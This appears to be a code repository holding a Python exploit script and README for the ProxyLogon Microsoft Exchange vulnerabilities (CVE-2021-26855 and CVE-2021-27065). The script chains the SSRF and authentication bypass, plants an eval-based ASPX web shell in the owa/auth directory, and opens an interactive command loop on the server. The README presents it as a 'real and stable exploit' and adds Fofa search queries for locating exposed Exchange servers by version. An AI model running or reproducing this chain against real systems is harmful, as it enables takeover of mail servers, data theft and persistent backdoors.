├── Exchange_SSRFtoRCEChainExploit.py
└── README.md
/Exchange_SSRFtoRCEChainExploit.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*
2 | '''
3 | Exchange RCE Chain Exploit
4 | Author: evilash@lab2
5 | '''
6 |
7 | import requests
8 | import sys
9 | import string
10 | import random
11 | import re
12 | import time
13 | from urllib3.exceptions import InsecureRequestWarning
14 |
15 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
16 |
17 |
18 | #随机生成请求的静态文件名
19 | def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
20 | return ''.join(random.choice(chars) for _ in range(size))
21 |
22 | #获取DomainName
23 | #def GetDomainName():
24 |
25 |
26 | def reqAutodiscover(url, FQDN_name, mail_valid):
27 |
28 | try:
29 |
30 | headers_for_autodiscover = {
31 | "User-Agent": user_agent,
32 | "Cookie": "X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;".format(FQDN=FQDN_name),
33 | "Connection": "close",
34 | "Content-Type": "text/xml"
35 | }
36 |
37 |
38 | res =requests.Session()
39 | req = res.post(url + '/ecp/' + random_name, headers=headers_for_autodiscover, verify=False,timeout=15)
40 |
41 | #print(req.text)
42 | if req.status_code != 200:
43 | print("(+) Autodiscover Error! Maybe not vul")
44 | exit()
45 |
46 |
47 | domainname = req.headers["X-CalculatedBETarget"].split(',')[1]
48 | print("(+) Domain Name = " + domainname)
49 |
50 | res.close()
51 | tmpmail = domainname[domainname.find(".")+1:]
52 |
53 | mail_valid = mail_valid + '@' +tmpmail
54 |
55 | autodiscover_payload = '''
56 |
57 |
58 | {mail}
59 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
60 |
61 |
62 | '''.format(mail=mail_valid)
63 |
64 | req = res.post(url + '/ecp/' + random_name, headers=headers_for_autodiscover, data=autodiscover_payload, verify=False,timeout=15)
65 |
66 |
67 | if "" not in req.text or "The email address can't be found." in req.text:
68 | print("(-) Can not get LegacyDN!, Because MailName Wrong!")
69 | exit()
70 |
71 | Guestsid = req.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0]
72 | print("(+) Guest SID = " + Guestsid)
73 |
74 | legacyDn = req.text.split("")[1].split("")[0]
75 | #legacyDN = re.findall('(?:)(.+?)(?:)', txtstr)
76 | print("(+) Got DN: " + legacyDn)
77 |
78 | MailBoxId = req.text.split('')[1].split('')[0]
79 | print("(+) Got MailBoxId: " + MailBoxId)
80 |
81 | MapiRequest(url, legacyDn, FQDN_name, MailBoxId)
82 |
83 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
84 | #print(e)
85 | pass
86 |
87 | def MapiRequest(url, legacyDn, FQDN_name, MailBoxId):
88 |
89 | headers_for_mapi = {
90 | "User-Agent": user_agent,
91 | "Cookie": "X-BEResource=Administrator@{FQDN}:444/mapi/emsmdb?MailboxId={ID}&a=~1942062522;".format(FQDN=FQDN_name, ID=MailBoxId),
92 | "Content-Type": "application/mapi-http",
93 | "X-Requesttype": "Connect",
94 | "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
95 | "X-Clientapplication": "Outlook/15.0.4815.1002",
96 | "X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
97 | }
98 |
99 | mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
100 |
101 | try:
102 | req = requests.post(url + '/ecp/' + random_name, headers=headers_for_mapi, data=mapi_body, verify=False)
103 |
104 | if req.status_code != 200 or "act as owner of a UserMailbox" not in req.text:
105 | print("(-) Mapi Error!")
106 | exit()
107 |
108 | sid = req.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
109 | print("(+) Got User SID: " + sid)
110 |
111 | rtmpsid = sid[sid.rfind("-")+1:]
112 |
113 | if rtmpsid != '500':
114 | ltmpsid = sid[:sid.rfind("-")+1]
115 | sid = ltmpsid + '500'
116 | print("(+) Fixed User SID: " + sid)
117 |
118 | ProxyLogonRequest(url, FQDN_name, sid)
119 |
120 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
121 | print(e)
122 | pass
123 |
124 | def ProxyLogonRequest(url, FQDN_name, sid):
125 |
126 | headers_for_proxylogon ={
127 | "Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/proxyLogon.ecp?a=~1942062522;".format(FQDN=FQDN_name),
128 | "Content-Type": "text/xml",
129 | "msExchLogonAccount": "S-1-5-21-3257950196-2120074785-2454614602-500",
130 | "msExchLogonMailbox": "S-1-5-20",
131 | #"msExchTargetmailbox": "micle@mit.loc",
132 | #"X-vDirObjectId": "S-1-5-21-3257950196-2120074785-2454614602-500",
133 | "User-Agent": user_agent
134 | }
135 |
136 | proxyLogon_request = """{SID}""".format(SID=sid)
137 |
138 | #proxyLogon_request = """{SID}S-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923""".format(SID=sid)
139 |
140 | try:
141 | #res = requests.session()
142 | req = requests.post(url + '/ecp/' + random_name, headers=headers_for_proxylogon, data=proxyLogon_request, verify=False)
143 | #print(req.headers)
144 | if req.status_code != 241 or not "set-cookie" in req.headers:
145 | print("(-) Proxylogon Error!")
146 | exit()
147 |
148 | sess_id = req.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
149 |
150 | msExchEcpCanary = req.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
151 |
152 | print("(+) Got session id: " + sess_id)
153 | print("(+) Got canary: " + msExchEcpCanary)
154 |
155 | UploadWebshell(url, FQDN_name, sess_id, msExchEcpCanary)
156 |
157 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
158 | print(e)
159 | pass
160 |
161 | def UploadWebshell(url, FQDN_name, sess_id, msExchEcpCanary):
162 |
163 | #Step 1
164 | headers_for_step1={
165 | "Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary),
166 | "Content-Type": "application/json; charset=utf-8",
167 | "msExchLogonMailbox": "S-1-5-20",
168 | "User-Agent": user_agent
169 | }
170 |
171 | json_for_step1={
172 | "filter": {
173 | "Parameters": {
174 | "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
175 | "SelectedView": "", "SelectedVDirType": "All"
176 | }
177 | },
178 | "sort": {}
179 | }
180 |
181 | try:
182 | #1
183 | req = requests.post(url + '/ecp/' + random_name, headers=headers_for_step1, json=json_for_step1, verify=False)
184 |
185 | #print(req.text)
186 | if req.status_code != 200:
187 | print("(-) GetOAB Error!")
188 | exit()
189 |
190 | oabId = req.text.split('"RawIdentity":"')[1].split('"')[0]
191 | print("(+) Got OAB id: " + oabId)
192 |
193 |
194 | #Step 2
195 | headers_for_upload1={
196 | "Cookie": "X-BEResource=Administrator@{FQDN}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary),
197 | "Content-Type": "application/json; charset=utf-8",
198 | "msExchLogonMailbox": "S-1-5-20",
199 | "User-Agent": user_agent
200 | }
201 |
202 | json_for_upload1 = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
203 | "properties": {
204 | "Parameters": {
205 | "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
206 | "ExternalUrl": "http://test/#{SHELLPATH}".format(SHELLPATH=shell_content)}}}
207 |
208 | #upload1
209 | req = requests.post(url + '/ecp/' + random_name, headers=headers_for_upload1, json=json_for_upload1, verify=False)
210 | #print(req.text)
211 | if req.status_code != 200:
212 | print("(-) Set external url Error!")
213 | exit()
214 |
215 | print("(+) Set external url Success!")
216 |
217 | #upload2
218 | headers_for_upload2={
219 | "Cookie": "X-BEResource=Admin@{FQDN}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={SESSION}; msExchEcpCanary={msExchEcpCanary}".format(FQDN=FQDN_name, SESSION=sess_id, msExchEcpCanary=msExchEcpCanary),
220 | "Content-Type": "application/json; charset=utf-8",
221 | "msExchLogonMailbox": "S-1-5-20",
222 | "User-Agent": user_agent
223 | }
224 |
225 | json_for_upload2 = {
226 | "identity": {
227 | "__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId
228 | },
229 | "properties": {
230 | "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
231 | "FilePathName": shell_absolute_path
232 | }
233 | }
234 | }
235 |
236 | #upload2
237 | rep = requests.post(url + '/ecp/' + random_name, headers=headers_for_upload2, json=json_for_upload2, verify=False)
238 |
239 | if rep.status_code != 200:
240 | print("(-) Write Shell Error!")
241 | exit()
242 |
243 | print("(+) Write Shell Success!")
244 |
245 | print('(+) Webshell at %s/owa/auth/%s '%(url, shell_name))
246 | time.sleep(2)
247 | print("(+) Execute Command to proof:\n")
248 |
249 | while True:
250 |
251 | cmd = input('CMD: ')
252 |
253 | #cmd = 'whoami'
254 | if cmd == 'exit':
255 | exit()
256 |
257 | shell_body_exec = '''exec_code=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())'''%cmd
258 | shell_req = requests.post('%s/owa/auth/%s'%(url, shell_name),headers={'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': user_agent},data=shell_body_exec,verify=False)
259 | print(shell_req.text.split('Name :')[0])
260 |
261 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
262 | print(e)
263 | pass
264 |
265 |
266 |
267 |
268 | def GetFQDN(url, mail_valid):
269 | try:
270 | print('[+] Target: %s'%url)
271 | res =requests.Session()
272 | req = res.post(url + '/owa/auth.owa', verify=False,timeout=15)
273 |
274 | if not req.status_code == 400:
275 | print('[-] Can not get FQDN!')
276 | exit(0)
277 | FQDN_name = req.headers["X-FEServer"]
278 | print('(+) Getting FQDN Name: %s'%(FQDN_name))
279 |
280 | reqAutodiscover(url, FQDN_name, mail_valid)
281 |
282 | except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
283 | print(e)
284 | pass
285 |
286 | random_name = id_generator(3) + ".js"
287 |
288 | user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
289 |
290 | #shell_content = ''
291 | shell_content = '<%@ Page Language="Jscript"%>**/eval(Request.Item["fape"],"unsafe");%>'
292 | shell_name = "tes2.aspx"
293 | shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\{SHELLNAME}".format(SHELLNAME=shell_name)
294 | #shell_path = "inetpub\\wwwroot\\{SHELLNAME}".format(SHELLNAME=shell_name)
295 | shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
296 |
297 |
298 |
299 | if(len(sys.argv) < 3 or sys.argv[1] == '-h'):
300 | print('[*] ProxyLogon-Exchange SSRF to RCE Exploit Chain.\n - Author @Evilash\n./%s \n'%(sys.argv[0]))
301 | exit(0)
302 |
303 | print("[*] ProxyLogon-Exchange SSRF to RCE Exploit Chain.\n - Author @Evilash\n")
304 | GetFQDN(sys.argv[1], sys.argv[2])
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Exchange SSRF toRCE Exploit
2 |
3 |
4 |
5 | **:warning:For educational and learning purposes only**
6 |
7 | #### CVE-2021-26855
8 |
9 | #### CVE-2021-27065
10 |
11 | 
12 |
13 | #### Usage
14 |
15 | ```
16 | [*] ProxyLogon-Exchange SSRF to RCE Exploit Chain.
17 | - Author @Evilash
18 | ./Exchange_SSRFtoRCEChainExploit.py
19 | ```
20 |
21 | Real and stable exploit to RCE , enjoy it :)
22 |
23 | #### Fofa Quary
24 |
25 | ```
26 | microsoft exchange 2013:
27 | app="Microsoft-Exchange-2013"||app="Microsoft-Exchange-Server-2013-CU21"||app="Microsoft-Exchange-Server-2013-CU17"||app="Microsoft-Exchange-Server-2013-CU23"||app="Microsoft-Exchange-Server-2013-CU13"||app="Microsoft-Exchange-Server-2013-CU22"||app="Microsoft-Exchange-Server-2013-CU11"||app="Microsoft-Exchange-Server-2013-CU2"||app="Microsoft-Exchange-Server-2013-CU16"||app="Microsoft-Exchange-Server-2013-CU19"||app="Microsoft-Exchange-Server-2013-CU3"||app="Microsoft-Exchange-Server-2013-CU18"||app="Microsoft-Exchange-Server-2013-CU5"||app="Microsoft-Exchange-Server-2013-CU20"||app="Microsoft-Exchange-Server-2013-CU12"||app="Microsoft-Exchange-Server-2013-CU15"||app="Microsoft-Exchange-Server-2013-CU10"||app="Microsoft-Exchange-Server-2013-CU9"||app="Microsoft-Exchange-Server-2013-CU6"||app="Microsoft-Exchange-Server-2013-CU7"||app="Microsoft-Exchange-Server-2013-CU1"||app="Microsoft-Exchange-Server-2013-CU14"||app="Microsoft-Exchange-Server-2013-CU8"||app="Microsoft-Exchange-Server-2013-RTM"||app="Microsoft-Exchange-Server-2013-SP1"||app="Microsoft-Exchange-2013"
28 |
29 | microsoft exchange 2016:
30 | app="Microsoft-Exchange-Server-2016-CU19"||app="Microsoft-Exchange-Server-2016-CU3"||app="Microsoft-Exchange-Server-2016-CU12"||app="Microsoft-Exchange-Server-2016-RTM"||app="Microsoft-Exchange-Server-2016-CU7"||app="Microsoft-Exchange-Server-2016-CU17"||app="Microsoft-Exchange-Server-2016-CU2"||app="Microsoft-Exchange-Server-2016-CU1"||app="Microsoft-Exchange-Server-2016-CU14"||app="Microsoft-Exchange-Server-2016-CU5"||app="Microsoft-Exchange-Server-2016-CU11"||app="Microsoft-Exchange-Server-2016-CU9"||app="Microsoft-Exchange-Server-2016-CU16"||app="Microsoft-Exchange-Server-2016-CU10"||app="Microsoft-Exchange-Server-2016-CU6"||app="Microsoft-Exchange-Server-2016-CU13"||app="Microsoft-Exchange-Server-2016-CU18"||app="Microsoft-Exchange-Server-2016-CU8"||app="Microsoft-Exchange-Server-2016-CU4"||app="Microsoft-Exchange-2016-POP3-server"
31 |
32 | microsoft exchange 2019:
33 | app="Microsoft-Exchange-Server-2019-CU5"||app="Microsoft-Exchange-Server-2019-CU3"||app="Microsoft-Exchange-Server-2019-Preview"||app="Microsoft-Exchange-Server-2019-CU8"||app="Microsoft-Exchange-Server-2019-CU1"||app="Microsoft-Exchange-Server-2019-CU7"||app="Microsoft-Exchange-Server-2019-CU2"||app="Microsoft-Exchange-Server-2019-CU6"||app="Microsoft-Exchange-Server-2019-RTM"||app="Microsoft-Exchange-Server-2019-CU4"
34 |
35 |
36 | microsoft exchange 2010:
37 | app="Microsoft-Exchange-2010-POP3-server-version-03.1"||app="Microsoft-Exchange-Server-2010"
38 | ```
--------------------------------------------------------------------------------